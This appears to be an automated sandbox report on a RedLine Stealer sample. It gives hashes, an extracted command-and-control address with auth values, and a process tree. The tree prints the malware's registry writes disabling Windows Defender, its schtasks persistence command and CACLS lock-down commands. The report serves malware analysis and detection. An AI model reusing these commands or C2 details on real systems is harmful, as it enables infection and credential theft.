redline | 6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3

Analysis

max time kernel
144s
max time network
115s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
05/05/2023, 18:29 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3.exe
Size

1.5MB
MD5

54bae34701e2491efa3453c23a9c4107
SHA1

535b6c90c35be960e9d5c6a202ddecbaa4633c0e
SHA256

6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3
SHA512

908a1ae915f9da70da6ebe0cf802a6e2f09a8e9ad6512cfb914850b5514516b0f92cf4599fc3cf4ffd8698bffc6c0ef8c066ba610c5a6ff134ee4041be985a5f
SSDEEP

24576:3yJVP9BP6tE0j7Ytwom33ueGwVZUUo9FILxtwcWp0WnYR3haSIuZLDI0:Cb9BytEzTm3eef5YIoCO63USH4

Score

10^/10

redline boom mazda discovery evasion infostealer persistence spyware stealer trojan

Malware Config

Extracted

Family

redline

Botnet

mazda

217.196.96.56:4138

Attributes

auth_value
3d2870537d84a4c6d7aeecd002871c51

Extracted

Family

redline

Botnet

boom

217.196.96.56:4138

Attributes

auth_value
1ce6aebe15bac07a7bc88b114bc49335

Signatures

Detects Redline Stealer samples 3 IoCs

This rule detects the presence of Redline Stealer samples based on their unique strings.

stealer

resource	yara_rule
behavioral2/memory/4216-211-0x0000000005580000-0x0000000005B98000-memory.dmp	redline_stealer
behavioral2/memory/4216-218-0x00000000053B0000-0x0000000005416000-memory.dmp	redline_stealer
behavioral2/memory/4216-220-0x00000000063B0000-0x0000000006572000-memory.dmp	redline_stealer

Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	d9614439.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	a3245277.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	a3245277.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	a3245277.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	d9614439.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	d9614439.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	d9614439.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	a3245277.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	a3245277.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	a3245277.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	d9614439.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	c4015353.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	oneetx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	e3662041.exe

Executes dropped EXE 14 IoCs

pid	Process
1208	v2843321.exe
1296	v6307476.exe
2568	v2546494.exe
1048	v1536638.exe
1796	a3245277.exe
4216	b9957383.exe
4844	c4015353.exe
4272	oneetx.exe
4676	d9614439.exe
3708	e3662041.exe
4468	1.exe
2200	f2814044.exe
4172	oneetx.exe
1420	oneetx.exe

Loads dropped DLL 1 IoCs

pid	Process
2808	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 3 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	d9614439.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	a3245277.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	a3245277.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	v6307476.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	v6307476.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	v2546494.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	v2546494.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	v1536638.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	v2843321.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	v1536638.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	v2843321.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 32 IoCs

pid	pid_target	Process	procid_target
1032	1796	WerFault.exe	88
4904	4844	WerFault.exe	93
2476	4844	WerFault.exe	93
3156	4844	WerFault.exe	93
3800	4844	WerFault.exe	93
1984	4844	WerFault.exe	93
2236	4844	WerFault.exe	93
4956	4844	WerFault.exe	93
4152	4844	WerFault.exe	93
4924	4844	WerFault.exe	93
4560	4844	WerFault.exe	93
4976	4272	WerFault.exe	113
4468	4272	WerFault.exe	113
3848	4272	WerFault.exe	113
2800	4272	WerFault.exe	113
3628	4272	WerFault.exe	113
4444	4272	WerFault.exe	113
1040	4272	WerFault.exe	113
2740	4272	WerFault.exe	113
4744	4272	WerFault.exe	113
3732	4272	WerFault.exe	113
944	4272	WerFault.exe	113
3700	4272	WerFault.exe	113
3832	4272	WerFault.exe	113
4460	4272	WerFault.exe	113
3880	3708	WerFault.exe	155
2104	4272	WerFault.exe	113
2744	4172	WerFault.exe	163
4648	4272	WerFault.exe	113
2472	4272	WerFault.exe	113
3164	4272	WerFault.exe	113
440	1420	WerFault.exe	173

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1784	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1796	a3245277.exe
1796	a3245277.exe
4216	b9957383.exe
4216	b9957383.exe
4676	d9614439.exe
4676	d9614439.exe
4468	1.exe
4468	1.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1796	a3245277.exe
Token: SeDebugPrivilege	4216	b9957383.exe
Token: SeDebugPrivilege	4676	d9614439.exe
Token: SeDebugPrivilege	3708	e3662041.exe
Token: SeDebugPrivilege	4468	1.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4844	c4015353.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 4872 wrote to memory of 1208	4872	6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3.exe	84
PID 4872 wrote to memory of 1208	4872	6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3.exe	84
PID 4872 wrote to memory of 1208	4872	6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3.exe	84
PID 1208 wrote to memory of 1296	1208	v2843321.exe	85
PID 1208 wrote to memory of 1296	1208	v2843321.exe	85
PID 1208 wrote to memory of 1296	1208	v2843321.exe	85
PID 1296 wrote to memory of 2568	1296	v6307476.exe	86
PID 1296 wrote to memory of 2568	1296	v6307476.exe	86
PID 1296 wrote to memory of 2568	1296	v6307476.exe	86
PID 2568 wrote to memory of 1048	2568	v2546494.exe	87
PID 2568 wrote to memory of 1048	2568	v2546494.exe	87
PID 2568 wrote to memory of 1048	2568	v2546494.exe	87
PID 1048 wrote to memory of 1796	1048	v1536638.exe	88
PID 1048 wrote to memory of 1796	1048	v1536638.exe	88
PID 1048 wrote to memory of 1796	1048	v1536638.exe	88
PID 1048 wrote to memory of 4216	1048	v1536638.exe	92
PID 1048 wrote to memory of 4216	1048	v1536638.exe	92
PID 1048 wrote to memory of 4216	1048	v1536638.exe	92
PID 2568 wrote to memory of 4844	2568	v2546494.exe	93
PID 2568 wrote to memory of 4844	2568	v2546494.exe	93
PID 2568 wrote to memory of 4844	2568	v2546494.exe	93
PID 4844 wrote to memory of 4272	4844	c4015353.exe	113
PID 4844 wrote to memory of 4272	4844	c4015353.exe	113
PID 4844 wrote to memory of 4272	4844	c4015353.exe	113
PID 1296 wrote to memory of 4676	1296	v6307476.exe	116
PID 1296 wrote to memory of 4676	1296	v6307476.exe	116
PID 1296 wrote to memory of 4676	1296	v6307476.exe	116
PID 4272 wrote to memory of 1784	4272	oneetx.exe	131
PID 4272 wrote to memory of 1784	4272	oneetx.exe	131
PID 4272 wrote to memory of 1784	4272	oneetx.exe	131
PID 4272 wrote to memory of 4752	4272	oneetx.exe	137
PID 4272 wrote to memory of 4752	4272	oneetx.exe	137
PID 4272 wrote to memory of 4752	4272	oneetx.exe	137
PID 4752 wrote to memory of 3424	4752	cmd.exe	141
PID 4752 wrote to memory of 3424	4752	cmd.exe	141
PID 4752 wrote to memory of 3424	4752	cmd.exe	141
PID 4752 wrote to memory of 2692	4752	cmd.exe	142
PID 4752 wrote to memory of 2692	4752	cmd.exe	142
PID 4752 wrote to memory of 2692	4752	cmd.exe	142
PID 4752 wrote to memory of 2808	4752	cmd.exe	143
PID 4752 wrote to memory of 2808	4752	cmd.exe	143
PID 4752 wrote to memory of 2808	4752	cmd.exe	143
PID 4752 wrote to memory of 1212	4752	cmd.exe	144
PID 4752 wrote to memory of 1212	4752	cmd.exe	144
PID 4752 wrote to memory of 1212	4752	cmd.exe	144
PID 4752 wrote to memory of 2316	4752	cmd.exe	145
PID 4752 wrote to memory of 2316	4752	cmd.exe	145
PID 4752 wrote to memory of 2316	4752	cmd.exe	145
PID 4752 wrote to memory of 5072	4752	cmd.exe	146
PID 4752 wrote to memory of 5072	4752	cmd.exe	146
PID 4752 wrote to memory of 5072	4752	cmd.exe	146
PID 1208 wrote to memory of 3708	1208	v2843321.exe	155
PID 1208 wrote to memory of 3708	1208	v2843321.exe	155
PID 1208 wrote to memory of 3708	1208	v2843321.exe	155
PID 3708 wrote to memory of 4468	3708	e3662041.exe	156
PID 3708 wrote to memory of 4468	3708	e3662041.exe	156
PID 3708 wrote to memory of 4468	3708	e3662041.exe	156
PID 4872 wrote to memory of 2200	4872	6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3.exe	160
PID 4872 wrote to memory of 2200	4872	6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3.exe	160
PID 4872 wrote to memory of 2200	4872	6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3.exe	160
PID 4272 wrote to memory of 2808	4272	oneetx.exe	168
PID 4272 wrote to memory of 2808	4272	oneetx.exe	168
PID 4272 wrote to memory of 2808	4272	oneetx.exe	168

C:\Users\Admin\AppData\Local\Temp\6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3.exe
"C:\Users\Admin\AppData\Local\Temp\6c0f284efeee6081f0ef017eedffaea7a0446353ae2530197e634563d18729a3.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4872
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v2843321.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v2843321.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v6307476.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v6307476.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:1296
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\v2546494.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\v2546494.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:2568
    - - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1536638.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1536638.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:1048
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\a3245277.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\a3245277.exe
        6⤵
        Modifies Windows Defender Real-time Protection settings
        Executes dropped EXE
        Windows security modification
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1796
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1796 -s 1080
        7⤵
        Program crash
        
        PID:1032
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\b9957383.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\b9957383.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4216
    - - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\c4015353.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\c4015353.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:4844
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 696
        6⤵
        Program crash
        
        PID:4904
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 756
        6⤵
        Program crash
        
        PID:2476
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 856
        6⤵
        Program crash
        
        PID:3156
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 976
        6⤵
        Program crash
        
        PID:3800
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 1004
        6⤵
        Program crash
        
        PID:1984
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 1004
        6⤵
        Program crash
        
        PID:2236
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 1220
        6⤵
        Program crash
        
        PID:4956
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 1252
        6⤵
        Program crash
        
        PID:4152
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 1316
        6⤵
        Program crash
        
        PID:4924
      - C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4272
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 692
        7⤵
        Program crash
        
        PID:4976
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 816
        7⤵
        Program crash
        
        PID:4468
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 936
        7⤵
        Program crash
        
        PID:3848
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1052
        7⤵
        Program crash
        
        PID:2800
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1072
        7⤵
        Program crash
        
        PID:3628
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1108
        7⤵
        Program crash
        
        PID:4444
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1148
        7⤵
        Program crash
        
        PID:1040
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe" /F
        7⤵
        Creates scheduled task(s)
        
        PID:1784
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 900
        7⤵
        Program crash
        
        PID:2740
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 760
        7⤵
        Program crash
        
        PID:4744
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\c3912af058" /P "Admin:N"&&CACLS "..\c3912af058" /P "Admin:R" /E&&Exit
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4752
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        
        PID:3424
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:N"
        8⤵
        
        PID:2692
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:R" /E
        8⤵
        
        PID:2808
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        8⤵
        
        PID:1212
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\c3912af058" /P "Admin:N"
        8⤵
        
        PID:2316
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\c3912af058" /P "Admin:R" /E
        8⤵
        
        PID:5072
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 972
        7⤵
        Program crash
        
        PID:3732
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1120
        7⤵
        Program crash
        
        PID:944
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 728
        7⤵
        Program crash
        
        PID:3700
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1120
        7⤵
        Program crash
        
        PID:3832
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1540
        7⤵
        Program crash
        
        PID:4460
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1172
        7⤵
        Program crash
        
        PID:2104
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1632
        7⤵
        Program crash
        
        PID:4648
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
        7⤵
        Loads dropped DLL
        
        PID:2808
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1548
        7⤵
        Program crash
        
        PID:2472
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4272 -s 1648
        7⤵
        Program crash
        
        PID:3164
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 1376
        6⤵
        Program crash
        
        PID:4560
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\d9614439.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\d9614439.exe
      4⤵
      Modifies Windows Defender Real-time Protection settings
      Executes dropped EXE
      Windows security modification
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4676
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\e3662041.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\e3662041.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3708
  - - C:\Windows\Temp\1.exe
      "C:\Windows\Temp\1.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4468
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3708 -s 1384
      4⤵
      Program crash
      PID:3880
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\f2814044.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\f2814044.exe
  2⤵
  - Executes dropped EXE
  PID:2200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1796 -ip 1796
1⤵
PID:1784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4844 -ip 4844
1⤵
PID:440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4844 -ip 4844
1⤵
PID:2656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4844 -ip 4844
1⤵
PID:456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4844 -ip 4844
1⤵
PID:2180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4844 -ip 4844
1⤵
PID:1996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4844 -ip 4844
1⤵
PID:552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4844 -ip 4844
1⤵
PID:2736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4844 -ip 4844
1⤵
PID:920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4844 -ip 4844
1⤵
PID:1780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4844 -ip 4844
1⤵
PID:1776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4272 -ip 4272
1⤵
PID:1340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4272 -ip 4272
1⤵
PID:352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4272 -ip 4272
1⤵
PID:3944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4272 -ip 4272
1⤵
PID:4792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4272 -ip 4272
1⤵
PID:2160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4272 -ip 4272
1⤵
PID:2836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 4272 -ip 4272
1⤵
PID:4584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4272 -ip 4272
1⤵
PID:2104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4272 -ip 4272
1⤵
PID:2744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4272 -ip 4272
1⤵
PID:2208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4272 -ip 4272
1⤵
PID:4492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4272 -ip 4272
1⤵
PID:4404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4272 -ip 4272
1⤵
PID:1048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4272 -ip 4272
1⤵
PID:4904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 3708 -ip 3708
1⤵
PID:3472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4272 -ip 4272
1⤵
PID:4564

C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\c3912af058\oneetx.exe
1⤵
- Executes dropped EXE
PID:4172
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 316
  2⤵
  - Program crash
  PID:2744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4172 -ip 4172
1⤵
PID:5080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4272 -ip 4272
1⤵
PID:1588

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4272 -ip 4272
1⤵
PID:2016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4272 -ip 4272
1⤵
PID:2768

